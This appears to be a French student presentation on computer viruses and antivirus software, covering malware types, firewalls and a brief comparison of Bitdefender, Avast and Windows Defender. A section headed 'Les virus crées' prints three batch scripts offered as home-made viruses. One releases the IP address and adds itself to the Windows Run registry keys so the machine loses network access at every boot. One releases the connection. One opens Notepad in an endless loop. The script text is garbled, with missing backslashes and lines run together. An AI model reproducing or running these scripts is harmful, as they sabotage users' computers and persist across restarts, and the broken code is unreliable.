Si1: Virus et Antivirus

Sommaire

- Introduction
- Qu'est-ce qu'un virus ?
  - Définition
  - Les différents types de virus
  - Les virus crées
- Comment s'en protéger ?
  - Définition
  - Les différents types de protections

Introduction

- De nos jours toutes les sociétés utilisent les systèmes informatiques afin d'accélérer les opérations de l'entreprise
- Cela pose de nombreux problèmes suite aux possibles fraudes ou hacks possibles
  - Sécuriser les données afin d'éviter le vol et le partage non voulu
  - Protéger ses espaces de stockages
  - Installer et utiliser des logiciels sûrs

Qu'est-ce qu'un virus ?

Définition

- Virus / Malware :
  - Un virus informatique est un programme écrit dans le but de se propager discrètement et rapidement à d'autres ordinateurs
  - Il perturbe plus ou moins gravement le fonctionnement de l'ordinateur infecté
  - Il peut se répandre à travers tout moyen d'échange de données numériques comme Internet, et notamment par l'intermédiaire des messages électroniques et leurs pièces jointes

Qu'est-ce qu'un virus ?

Les différents types de virus

- Vers
- Adware
- Logiciels espions
- Ransomware
- Robots
- Rootkits
- Cheval de Troie
- Bugs

Qu'est-ce qu'un virus ?

Les virus crées

- 1er virus :
  - Bloquer definitivement l'accès à internet en supprimant le fichier de la base de registre
  - echo @echo off>c:windowswimn32.bat

    echo break off>c:windowswimn32.bat echo

    ipconfig/release_all>c:windowswimn32.bat

    echo end>c:windowswimn32.batreg add

    hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

    hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho

    PAUSE

Qu'est-ce qu'un virus ?

Les virus crées

- 2ème virus :
  - Bloquer la connexion internet du PC
  - @Echo off,

    Ipconfig / release

Qu'est-ce qu'un virus ?

Les virus crées

- 3ème virus :
  - Afficher un message en boucle
  - @Echo off

    : top

    %windir%\system32\notepad.exe

    GOTO top

Comment s'en protéger ?

Définition

- Un **pare-feu** est un logiciel et/ou un matériel permettant de faire respecter la politique de sécurité du réseau, celle-ci définissant quels sont les types de communications autorisés sur ce réseau informatique. Il surveille et contrôle les applications et les flux de données (paquets).
  - Pare feu sans état : C'est le plus vieux dispositif de filtrage réseau, introduit sur les routeurs. Il regarde chaque paquet indépendamment des autres et le compare à une liste de règles préconfigurées.
  - Pare feu à états : Certains protocoles dits « à états » comme TCP introduisent une notion de connexion. Les pare-feu à états vérifient la conformité des paquets à une connexion en cours.

Comment s'en protéger ?

Les différents types de protection

- Pare-feu
  - Analyser les exploits
- Anti-spam
  - Protection
  - Vulnérabilité
  - Prévention
  - Remédiation
- Anti-tracker
- Protection vidéo et audio

➢ Comment s'en protéger ?

Les différents types de protection

Bitdefender :

Avantages : assez complet

Inconvénient : les scripts et fichier de commande ne sont pas bloqué

Avast (gratuit):

Avantages : pas grand choses

Inconvénient : laisse trop de fichier passer et bloque uniquement une petite base de donnée

Windows defender:

Avantages : directement installé(pas de pop-ups et demande de paiement),

Il analyse automatiquement les programme que nous ouvrons

Inconvénient : n'est pas comparable aux autres antivirus(peut compétant)

Il assure simplement minimale et bloque les virus et malware les plus communs.